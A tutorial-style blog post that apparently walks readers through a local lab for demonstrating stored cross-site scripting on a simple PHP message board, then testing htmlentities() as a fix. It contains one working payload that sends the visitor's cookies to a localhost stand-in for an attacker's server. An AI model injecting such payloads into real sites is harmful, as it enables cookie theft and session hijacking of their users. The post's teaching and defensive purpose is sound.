The dangers of XSS, or cross-site scripting, have been well documented.
The above article sketches out a rather intriguing example that I will be
expanding upon a little bit. This is what you need to do, to test it out.
Simply create a new website (in wamp, just create new folder under 'www',
then create an 'index.php' file and copy over the contents as described
in the article (starting at "Consider the following example of a
simplistic message board:").
You will need to insert the following line right after the opening php tag:
if (!isset($_SESSION)) { session_start(); }
Also create an empty text file 'messages.txt' in the same folder.
Start the server and in your browser navigate to the page and enter and
submit new messages a couple of times. Everything should be working fine.
In the browser it will look like this:
Now to the malicious entry. Without the evil host mentioned in the article,
everything is left to your imagination. You can go a step further and set
up another web server on your localhost to play the role of the evil host.
This is what I did. I launched a second server on my PC, using node.
Open up a command shell and type in: "Node <path-to-my-node-server>\MyNodeServer.js"
(Don't expect to see anything other than a blinking cursor, but leave it open.
You can close it later with Ctl+C.)
MyNodeServer.js should have:
Now go back to the original web page and copy and paste
the line below into the input field in the form:
<script>document.location = 'http://localhost:8888?cookies=' + document.cookie</script>
This is how the web page will look, as a result:
You may ask what is the point in redirecting the user to a different website
and have it display his own cookie? The point is not to show how to write
malicious code, just to demonstrate that this is a real threat.
There is nothing to remind you that the browser might be passing its cookie
to the web server. Nor is it obvious that this might be a problem with an
innocent-looking webpage like this. It is, after all, other visitors that
cannot be trusted and not the web page being visited, at least not until
it has been infected.
At this point you can put in place the safeguards discussed in the article,
such as htmlentities(), and test to see how effective such simple measures
are.
This setup is actually a very good test environment. It is instructive to
observe how putting in the safeguards after the fact is insufficient.
By patching the PHP you prevent additional scripts from being inserted into
the file, but you have to remember to clean up the file from those that are
already in there. Until you do, it will look as if the safeguards you put
in place are not working.